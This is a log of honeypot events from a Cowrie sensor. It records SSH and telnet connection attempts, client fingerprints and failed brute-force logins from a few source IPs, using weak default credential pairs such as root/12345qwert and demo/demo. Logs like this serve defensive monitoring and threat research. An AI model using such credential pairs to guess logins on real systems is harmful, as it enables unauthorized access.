{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:07.948977Z","src_ip":"176.65.139.95","session":"31cc157778ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:07.983287Z","src_ip":"176.65.139.95","session":"31cc157778ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48284,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef5acdea209e","protocol":"ssh","message":"New connection: 192.109.200.78:48284 (159.203.135.109:22) [session: ef5acdea209e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:08.233898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:08.239348Z","src_ip":"192.109.200.78","session":"ef5acdea209e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:08.321069Z","src_ip":"192.109.200.78","session":"ef5acdea209e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:08.396486Z","src_ip":"176.65.139.95","session":"31cc157778ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:08.571555Z","src_ip":"192.109.200.78","session":"ef5acdea209e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:09.502805Z","src_ip":"176.65.139.95","session":"31cc157778ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:09.656800Z","src_ip":"192.109.200.78","session":"ef5acdea209e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48292,"dst_ip":"159.203.135.109","dst_port":22,"session":"7455f34854b4","protocol":"ssh","message":"New connection: 192.109.200.78:48292 (159.203.135.109:22) [session: 7455f34854b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:12.129522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:12.137153Z","src_ip":"192.109.200.78","session":"7455f34854b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:12.221694Z","src_ip":"192.109.200.78","session":"7455f34854b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.179.89","src_port":46882,"dst_ip":"10.17.0.5","dst_port":23,"session":"234965c5bddb","protocol":"telnet","message":"New connection: 152.59.179.89:46882 (10.17.0.5:23) [session: 234965c5bddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:12.843648Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:12.880481Z","src_ip":"192.109.200.78","session":"7455f34854b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:13.964872Z","src_ip":"192.109.200.78","session":"7455f34854b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":56044,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f981fc6adb9","protocol":"ssh","message":"New connection: 176.65.139.95:56044 (159.203.135.109:22) [session: 2f981fc6adb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:14.106079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:14.114931Z","src_ip":"176.65.139.95","session":"2f981fc6adb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:14.197205Z","src_ip":"176.65.139.95","session":"2f981fc6adb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:14.485699Z","src_ip":"176.65.139.95","session":"2f981fc6adb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:15.589069Z","src_ip":"176.65.139.95","session":"2f981fc6adb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48310,"dst_ip":"159.203.135.109","dst_port":22,"session":"b48adb561510","protocol":"ssh","message":"New connection: 192.109.200.78:48310 (159.203.135.109:22) [session: b48adb561510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:16.195344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:16.201229Z","src_ip":"192.109.200.78","session":"b48adb561510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:16.288523Z","src_ip":"192.109.200.78","session":"b48adb561510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:16.544155Z","src_ip":"192.109.200.78","session":"b48adb561510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:17.633451Z","src_ip":"192.109.200.78","session":"b48adb561510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44312,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d44e75815e5","protocol":"ssh","message":"New connection: 192.109.200.78:44312 (159.203.135.109:22) [session: 4d44e75815e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:20.041959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:20.051109Z","src_ip":"192.109.200.78","session":"4d44e75815e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:20.136459Z","src_ip":"192.109.200.78","session":"4d44e75815e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:20.388479Z","src_ip":"192.109.200.78","session":"4d44e75815e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.179.89","src_port":64397,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f063e753a32","protocol":"telnet","message":"New connection: 152.59.179.89:64397 (10.17.0.5:23) [session: 8f063e753a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:20.493099Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59096,"dst_ip":"159.203.135.109","dst_port":22,"session":"392c5502e0d4","protocol":"ssh","message":"New connection: 176.65.139.95:59096 (159.203.135.109:22) [session: 392c5502e0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:20.736211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:20.748739Z","src_ip":"176.65.139.95","session":"392c5502e0d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:20.821587Z","src_ip":"176.65.139.95","session":"392c5502e0d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:21.353364Z","src_ip":"176.65.139.95","session":"392c5502e0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:21.478366Z","src_ip":"192.109.200.78","session":"4d44e75815e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:22.450568Z","src_ip":"176.65.139.95","session":"392c5502e0d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44316,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f29ae25581c","protocol":"ssh","message":"New connection: 192.109.200.78:44316 (159.203.135.109:22) [session: 2f29ae25581c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:24.106220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:24.112387Z","src_ip":"192.109.200.78","session":"2f29ae25581c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:24.200846Z","src_ip":"192.109.200.78","session":"2f29ae25581c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:24.448059Z","src_ip":"192.109.200.78","session":"2f29ae25581c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0020272731781,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:25.400765Z","src_ip":"212.252.78.49","session":"dffb1cb41953","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:25.537935Z","src_ip":"192.109.200.78","session":"2f29ae25581c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.179.89","src_port":49876,"dst_ip":"10.17.0.5","dst_port":23,"session":"764f68a6cf01","protocol":"telnet","message":"New connection: 152.59.179.89:49876 (10.17.0.5:23) [session: 764f68a6cf01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:27.076669Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59108,"dst_ip":"159.203.135.109","dst_port":22,"session":"19f479c256eb","protocol":"ssh","message":"New connection: 176.65.139.95:59108 (159.203.135.109:22) [session: 19f479c256eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:27.779985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:17:27.784596Z","src_ip":"176.65.139.95","session":"19f479c256eb","protocol":"ssh"}
